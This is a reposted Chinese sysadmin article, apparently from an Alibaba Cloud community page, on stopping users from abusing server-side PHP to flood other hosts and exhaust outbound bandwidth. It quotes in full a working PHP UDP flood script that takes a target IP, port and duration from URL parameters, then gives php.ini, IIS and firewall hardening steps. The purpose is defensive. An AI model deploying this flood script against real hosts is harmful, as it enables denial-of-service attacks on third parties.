防止使用者利用PHP代碼DOS造成用光網路頻寬

來源:互聯網
上載者:User

用PHP代碼調用sockets,直接用伺服器的網路攻擊別的IP,常見代碼如下: 複製代碼 代碼如下:$packets = 0;
$ip = $_GET[\'ip\'];
$rand = $_GET[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[\'time\'];
$time = time();
print \"Flooded: $ip on port $rand
\";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= \"X\";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
?>

表現特徵:
一開啟IIS,伺服器的流出頻寬就用光-----就是說伺服器不斷向別人發包,這個情況和受到DDOS攻擊是不同的,DDOS是不斷收到大量資料包.
解決辦法:
禁止上述的代碼:
在c:\windows\php.ini裡設定:
disable_functions =gzinflate;
在c:\windows\php.ini裡設其值為Off
allow_url_fopen = Off
並且:
;extension=php_sockets.dll
前面的;號一定要有,意思就是限制用sockets.dll
前面的;號要保留
然後重啟IIS
如果上述方式仍然無效,你可以在IIS中,允許的擴充中,禁止PHP的擴充測試.
另外,對於沒加密的php攻擊代碼,還可以用以下辦法處理:
1.在IP策略,或防火牆中,禁止所有udp向外發送
2.用一流資訊監控,在SQL攔截及網址攔截中,攔截port=這個關鍵詞

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.